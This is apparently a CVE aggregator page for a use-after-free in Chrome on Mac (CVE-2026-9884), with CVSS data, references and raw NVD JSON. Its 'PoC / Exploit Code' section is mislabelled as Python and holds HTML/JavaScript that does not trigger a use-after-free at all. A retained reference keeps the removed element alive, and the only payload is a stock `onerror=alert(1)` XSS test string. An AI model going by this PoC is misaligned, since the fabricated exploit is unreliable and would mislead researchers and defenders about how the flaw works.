CVE-2026-9884

Description

Use after free in Browser in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Mac < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9884 (Conceptual Use-After-Free Trigger)
This is a simplified example demonstrating the UAF mechanism.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9884 PoC</title>
</head>
<body>
    <script>
        // Step 1: Create a vulnerable object
        let vulnerable_obj = document.createElement('div');
        document.body.appendChild(vulnerable_obj);

        // Step 2: Store reference
        let ref = vulnerable_obj;

        // Step 3: Trigger free (removal from DOM)
        document.body.removeChild(vulnerable_obj);
        vulnerable_obj = null;

        // Step 4: Trigger Use-After-Free
        // Accessing the freed object reference may trigger the vulnerability
        setTimeout(() => {
            if (ref) {
                console.log("Accessing freed object...");
                // Attempt to access property or method of the freed object
                // This specific line is where the crash/exploit would occur
                ref.innerHTML = "<img src=x onerror=alert(1)>";
            }
        }, 100);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9884
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9884
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9884/
[4] VulDB https://vuldb.com/cve/CVE-2026-9884
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/508289938

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9884", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:46.383", "lastModified": "2026-05-29T12:16:27.733", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Browser in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/508289938", "source": "[email protected]"}]}}